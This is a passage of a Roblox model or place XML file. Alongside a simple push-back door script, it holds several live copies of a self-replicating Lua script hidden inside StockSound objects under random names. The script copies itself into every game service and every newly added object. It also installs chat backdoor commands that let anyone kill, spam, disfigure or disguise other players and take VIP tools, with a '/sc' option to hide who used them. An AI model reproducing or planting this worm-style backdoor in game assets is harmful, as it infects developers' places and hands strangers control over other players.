for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX594">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">11</int>
						<CoordinateFrame name="CFrame">
							<X>-134.5</X>
							<Y>62.1000023</Y>
							<Z>-6.5</Z>
							<R00>-0</R00>
							<R01>0</R01>
							<R02>1</R02>
							<R10>-0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>-1</R20>
							<R21>0</R21>
							<R22>0</R22>
						</CoordinateFrame>
						<bool name="CanCollide">false</bool>
						<token name="Controller">0</token>
						<bool name="ControllerFlagShown">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">true</bool>
						<token name="Material">256</token>
						<string name="Name">OneWayDoor</string>
						<float name="Reflectance">0.100000001</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.100000001</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>75</X>
							<Y>123</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="Script" referent="RBX595">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">PushPack</string>
							<string name="Source">door = script.Parent

function onTouch(hit)
	if hit.Parent == nil then return end
	local h = hit.Parent:FindFirstChild(&quot;Humanoid&quot;)
	if h ~= nil then
		hit.Parent.Torso.Velocity=door.CFrame.lookVector * 100 -- Push the Player back
	end
end
door.Touched:connect(onTouch)</string>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX596">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">2xdje</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX597">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">ugwdq</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="StockSound" referent="RBX598">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">wcn84mi</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX599">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">b9gch</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
